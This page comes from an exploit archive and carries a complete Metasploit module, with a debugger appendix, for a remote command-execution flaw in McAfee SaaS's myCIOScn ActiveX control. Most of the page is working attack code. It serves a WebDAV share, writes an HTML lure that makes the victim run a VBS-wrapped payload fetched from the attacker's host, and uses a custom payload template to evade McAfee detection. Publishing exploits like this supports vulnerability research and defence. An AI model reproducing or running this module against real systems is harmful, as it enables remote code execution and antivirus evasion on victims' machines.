exploit the possibilities

McAfee SaaS MyCioScan ShowReport Remote Command Execution

McAfee SaaS MyCioScan ShowReport Remote Command Execution
Posted Jan 18, 2012
Authored by rgod, sinn3r | Site metasploit.com

This Metasploit module exploits a vulnerability found in McAfee Security-as-a-Service. The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails to check the FileName argument, and passes it on to a ShellExecuteW() function, therefore allows any malicious attacker to execute any process that's on the local system. However, if the victim machine is connected to a remote share (or something similar), then it's also possible to execute arbitrary code. Please note that a custom template is required for the payload, because the default Metasploit template is detectable by McAfee -- any Windows binary, such as calc.exe or notepad.exe, should bypass McAfee fine.

tags | exploit, remote, arbitrary, local, activex
systems | windows
advisories | OSVDB-78310
MD5 | 6d817e5714e3a0c4f6a944fe9d125063

McAfee SaaS MyCioScan ShowReport Remote Command Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "McAfee SaaS MyCioScan ShowReport Remote Command Execution",
'Description' => %q{
This module exploits a vulnerability found in McAfee Security-as-a-Service.
The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails
to check the FileName argument, and passes it on to a ShellExecuteW() function,
therefore allows any malicious attacker to execute any process that's on the
local system. However, if the victim machine is connected to a remote share (
or something similiar), then it's also possible to execute arbitrary code.
Please note that a custom template is required for the payload, because the
default Metasploit template is detectable by McAfee -- any Windows binary, such
as calc.exe or notepad.exe, should bypass McAfee fine.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod', #Initial discovery
'sinn3r', #Metasploit
],
'References' =>
[
['OSVDB', '78310'],
['BID', '51397'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-012'],
],
'Payload' =>
{
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'ExitFunction' => "none",
#'InitialAutoRunScript' => 'migrate -f',
'DisablePayloadHandler' => 'false',
},
'Platform' => 'win',
'Targets' =>
[
['Internet Explorer', {}],
],
'Privileged' => false,
'DisclosureDate' => "Jan 12 2012",
'DefaultTarget' => 0))

register_options([
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]),
OptString.new('URIPATH', [ true, "The URI to use", "/" ]),
OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),
OptPath.new('TEMPLATE', [true, 'A custom template for the payload in order to bypass McAfee', ''])
], self.class)
end

def on_request_uri(cli, request)
case request.method
when 'OPTIONS'
process_options(cli, request)
when 'PROPFIND'
process_propfind(cli, request)
when 'GET'
process_get(cli, request)
else
print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
end

def process_get(cli, request)
print_status("URI requested: #{request.uri.to_s}")

if request.uri =~ /\.vbs$/i
# Depending on the connection speed, this might take a moment to transfer the
# payload and actually get executed
send_response(cli, @vbs, {'Content-Type'=>'application/octet-stream'})
print_status("executable sent")
else
# Don't know the request, return not found
print_error("Don't care about this file, 404")
send_not_found(cli)
end

return
end

def process_options(cli, request)
vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}

resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ''
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end

def process_propfind(cli, request)
path = request.uri
vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
body = ''

my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"

if path !~ /\/$/
if path.index(".")
print_status("Sending 404 for #{path} ...")
resp = create_response(404, "Not Found")
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
else
print_status("Sending 301 for #{path} ...")
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end

print_status("Sending directory multistatus for #{path} ...")

body = <<-BODY
<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
BODY

body = body.gsub(/^\t\t/, '')

if request["Depth"].to_i > 0
if path.scan("/").length < 2
body << generate_shares(path)
else
# Set payload name, and set the hidden attribute. True means visible
filenames = [ [@vbs_name, false] ]
body << generate_files(path, filenames)
end
end

body << "</D:multistatus>"

body.gsub!(/\t/, '')

# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end

def gen_timestamp(ttype=nil)
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
end

def gen_datestamp(ttype=nil)
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
end

def generate_shares(path)
share_name = datastore['SHARENAME']
share = <<-SHARE
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
SHARE
share = share.gsub(/^\t\t/, '')
return share
end

def generate_files(path, items)
trail = path.split("/")
return "" if trail.length < 2

files = ""
items.each do |f, hide|
h = hide ? '1' : '0'
files << <<-FILES
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{f}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
<D:ishidden b:dt="boolean">#{h}</D:ishidden>
</D:propstat>
</D:response>
FILES
end

files = files.gsub(/^\t\t\t/, '')

return files
end

def get_payload
fname = rand_text_alpha(5) + ".vbs"
p = payload.encoded
exe = Msf::Util::EXE.to_win32pe($framework, p, {:inject=>true, :template=>datastore['TEMPLATE']})
vbs = Msf::Util::EXE.to_exe_vbs(exe)
return fname, vbs
end

def exploit
@vbs_name, @vbs = get_payload

#
# progid: MYCIOSCNLib.Scan
# clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7
#
myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
obj_name = rand_text_alpha(rand(6) + 3)
sub_name = rand_text_alpha(rand(6) + 3)
html = <<-HTML
<html>
<head>
</head>
<body>
<object classid='clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7' id='#{obj_name}'></object>
<script language='vbscript'>
sub #{sub_name}
#{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}\\#{@vbs_name}"
end sub

#{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}"
window.setTimeout "#{sub_name}", 1000
</script>
</body>
</html>
HTML

html = html.gsub(/^\t\t/, '')
file_create(html)
print_status("#{datastore['FILENAME']} must be run locally in order to execute our payload")

super
end

end

=begin
myCIOScn!CScnXml::SetNumScanned+0x19ab:
2101caf9 55 push ebp

0:003> lmv m myCIOScn
start end module name
21000000 2106d000 myCIOScn (export symbols) C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
Loaded symbol image file: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
Image path: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
Image name: myCIOScn.dll
Timestamp: Wed Aug 10 11:34:01 2011 (4E42CF19)
CheckSum: 0007C3A6
ImageSize: 0006D000
File version: 5.2.3.104
Product version: 5.2.0.0
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 1.0 App
File date: 00000000.00000000
Translations: 0409.04b0
CompanyName: McAfee, Inc.
ProductName: McAfee® Security-as-a-Service
InternalName: myCioScn
OriginalFilename: myCioScn.DLL
ProductVersion: 5.2.3
FileVersion: 5.2.3.104
PrivateBuild: 5.2.3.104
SpecialBuild: FULL
FileDescription: myCioScn Module

.text:2101CB1A push esi
.text:2101CB1B push 1
.text:2101CB1D xor esi, esi
.text:2101CB1F push esi
.text:2101CB20 push esi
.text:2101CB21 push eax ; we own this
.text:2101CB22 push offset aOpen ; "open"
.text:2101CB27 push esi
.text:2101CB28 mov [ebp+0A50h+Str], eax
.text:2101CB2B call off_2105D350 ; ShellExecuteW
=end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    19 Files
  • 16
    Oct 16th
    25 Files
  • 17
    Oct 17th
    17 Files
  • 18
    Oct 18th
    7 Files
  • 19
    Oct 19th
    1 Files
  • 20
    Oct 20th
    4 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close